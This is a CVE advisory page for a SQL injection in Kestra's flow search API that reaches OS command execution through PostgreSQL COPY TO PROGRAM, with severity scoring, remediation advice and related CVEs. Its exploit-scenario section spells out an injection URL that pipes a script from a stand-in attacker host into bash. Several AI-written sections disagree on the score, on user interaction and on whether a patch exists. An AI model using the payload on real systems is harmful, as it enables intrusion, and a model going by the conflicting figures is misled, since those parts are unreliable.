Skip to main content

Kestra CVE-2026-34612

CRITICAL
SQL Injection (CWE-89)
2026-04-03 GitHub_M
9.0
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Kestra instance
  2. Exploit
    Craft malicious SQL injection payload in /api/v1/main/flows/search
  3. Execution
    PostgreSQL executes COPY TO PROGRAM command
  4. Impact
    Arbitrary OS commands execute on host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Kestra versions before 1.3.7 in default docker-compose deployment. Attacker requires valid authenticated user credentials. Victim must visit a crafted link containing SQL injection payload targeting GET /api/v1/main/flows/search endpoint. PostgreSQL executes arbitrary OS commands via COPY...TO PROGRAM.

Impact

This vulnerability presents critical real-world risk despite requiring low-privilege authentication (PR:L). The CVSS 9.9 score accurately reflects severity due to network attack vector (AV:N), low complexity (AC:L), no user interaction (UI:N), scope change (S:C indicating container/host boundary crossing), and complete CIA impact. The scope change metric is particularly significant as it indicates potential container escape or lateral movement beyond the application boundary. Attack complexity is genuinely low - visiting a crafted URL triggers exploitation automatically without timing dependencies or race conditions. While no EPSS score or KEV status is provided in the input data, the combination of public exploit code availability (GitHub commit 3926762 provides technical details of the fix, enabling reverse-engineering), Docker deployment prevalence, and the one-click nature of exploitation (no UI required) create favorable conditions for opportunistic scanning and exploitation. The SSVC framework would likely categorize this as requiring urgent remediation: exploitation is straightforward given the commit details, the vulnerability is automatable via URL parameter manipulation, and technical impact enables full system compromise. Organizations running default Kestra docker-compose deployments face immediate risk of database compromise and potential host system access.

Exploit ScenarioDerived

An attacker with valid low-privilege credentials (such as a workflow developer account) crafts a malicious URL containing SQL injection payloads in the flow search parameters, for example: https://kestra-instance/api/v1/main/flows/search?query='; COPY (SELECT '') TO PROGRAM 'curl attacker.com/shell.sh | bash'--. When an authenticated user clicks this link or when the attacker accesses it with their own credentials, the PostgreSQL backend executes the injected SQL, invoking COPY TO PROGRAM to download and execute a reverse shell on the database container. The attacker gains code execution with PostgreSQL service privileges, potentially pivoting to other containers or the host system through shared Docker networks or mounted volumes. Publicly available exploit code exists in the form of the patching commit, which reveals the vulnerable code paths and exploitation methodology.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 03, 2026

SQL injection in Kestra orchestration platform's flow search endpoint (GET /api/v1/main/flows/search) enables remote code execution on the underlying PostgreSQL host. Authenticated users can trigger the vulnerability by visiting a malicious link, exploiting PostgreSQL's COPY TO PROGRAM feature to execute arbitrary OS commands on the Docker container host. Affects Kestra versions prior to 1.3.7 in default docker-compose deployments. With CVSS 9.9 (Critical) and low attack complexity requiring only low-privilege authentication, this represents a severe risk for container escape and host compromise scenarios.

RemediationAI

Upgrade immediately to Kestra version 1.3.7 or later, which contains fixes for the SQL injection vulnerability as documented in the official release at https://github.com/kestra-io/kestra/releases/tag/v1.3.7. The patch implemented in commit 3926762795df8ad3e03924b370c51832ed3a21d3 addresses input sanitization in the flow search endpoint. Organizations unable to upgrade immediately should implement network-level access controls to restrict the /api/v1/main/flows/search endpoint to trusted IP ranges only, though this is a temporary mitigation and does not eliminate risk from authenticated insider threats or compromised credentials. Review PostgreSQL container permissions and consider running the database with reduced privileges that prevent COPY TO PROGRAM execution if operationally feasible. Consult the vendor security advisory at https://github.com/kestra-io/kestra/security/advisories/GHSA-365w-2m69-mp9x for additional guidance. Audit authentication logs for suspicious access patterns to the vulnerable endpoint prior to patching.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Kestra is an event-driven workflow orchestration platform built on PostgreSQL for metadata storage. The vulnerability stems from improper input sanitization (CWE-89) in the flow search API endpoint, allowing SQL injection into PostgreSQL queries. The attack chain exploits PostgreSQL's COPY TO PROGRAM command, a native database feature that can execute arbitrary shell commands on the database server when provided malicious SQL input. In the default docker-compose deployment architecture, this translates to code execution within the PostgreSQL container context, which may share resources or network access with the host system. The affected product (cpe:2.3:a:kestra-io:kestra) is particularly vulnerable because the search endpoint processes user-controlled input without adequate parameterization, and the database connection has sufficient privileges to invoke COPY operations. This vulnerability class is particularly dangerous in containerized environments where database and application services often run with elevated permissions.

Know when Kestra gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.0 CRITICAL
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
CVSS changed
Jul 24, 2026 - 22:23 NVD
9.9 (CRITICAL) 9.0 (CRITICAL)
CVE Published
Apr 03, 2026 - 22:39 nvd
CRITICAL 9.9

DescriptionNVD

Kestra is an open-source, event-driven orchestration platform. Prior to version 1.3.7, Kestra (default docker-compose deployment) contains a SQL Injection vulnerability that leads to Remote Code Execution (RCE) in the following endpoint "GET /api/v1/main/flows/search". Once a user is authenticated, simply visiting a crafted link is enough to trigger the vulnerability. The injected payload is executed by PostgreSQL using COPY ... TO PROGRAM ..., which in turn runs arbitrary OS commands on the host. This issue has been patched in version 1.3.7.

Executive ViewAI

Why It Matters

Kestra orchestration platform versions prior to 1.3.7 contain a critical SQL injection vulnerability in the flow search endpoint that allows authenticated users to execute arbitrary operating system commands on the Docker container host through PostgreSQL's native execution features. Organizations using Kestra for workflow automation face immediate risk of complete infrastructure compromise, including container escape and lateral movement to underlying hosts, requiring urgent remediation of all affected instances.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to /api/v1/main/flows/search endpoint to trusted IP ranges only; (2) Disable or revoke low-privilege user accounts if possible, permitting only administrative access; (3) Implement Web Application Firewall rules to block POST/GET requests to the search endpoint containing SQL metacharacters (semicolons, UNION, COPY keywords); (4) Monitor PostgreSQL audit logs for COPY TO PROGRAM statements; (5) Consider running Kestra in an isolated container environment with no host volume mounts and read-only filesystems where operationally feasible.

Threat Intelligence Overview

EPSS Score
0.1%
Top 65% exploitable
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +45
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)NVD

cpe:2.3:a:kestra-io:kestra:*:*:*:*:*:*:*:*

More in Kestra

View all
CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-53576 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution in Kestra orchestration platform before 1.0.45 and 1.3.21 lets anonymous attackers

CVE-2026-55839 HIGH POC
8.7 Aug 18

Stored cross-site scripting in Kestra's custom Markdown renderer (versions before 1.3.24) allows any authenticated user

CVE-2026-29082 HIGH POC
7.3 Mar 06

Kestra versions 1.1.10 and earlier allow authenticated users to perform cross-site scripting (XSS) attacks through the e

CVE-2026-55069 HIGH
8.7 Jun 26

Offline administrator password recovery in Kestra OSS (versions prior to 1.3.24) stems from its BasicAuth component stor

CVE-2026-45807 HIGH
7.7 Jun 26

Arbitrary file read in Kestra orchestration platform (versions prior to 1.0.43 and 1.3.19) lets an authenticated user wi

CVE-2026-49984 HIGH
7.7 Jun 26

Authenticated path traversal in Kestra's local internal-storage backend (versions prior to 1.0.45 and 1.3.23) lets any l

CVE-2026-33664 HIGH
7.3 Mar 26

Cross-site scripting in Kestra orchestration platform versions up to 1.3.3 enables authenticated flow authors to inject

CVE-2026-48129 MEDIUM
6.5 Jun 19

Path traversal in Kestra's `inputFiles` task mechanism allows remote attackers to write arbitrary files to the worker fi

CVE-2026-53577 MEDIUM
6.5 Jun 26

Unauthorized file read in Kestra's execution preview API allows any authenticated tenant user to access output files fro

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy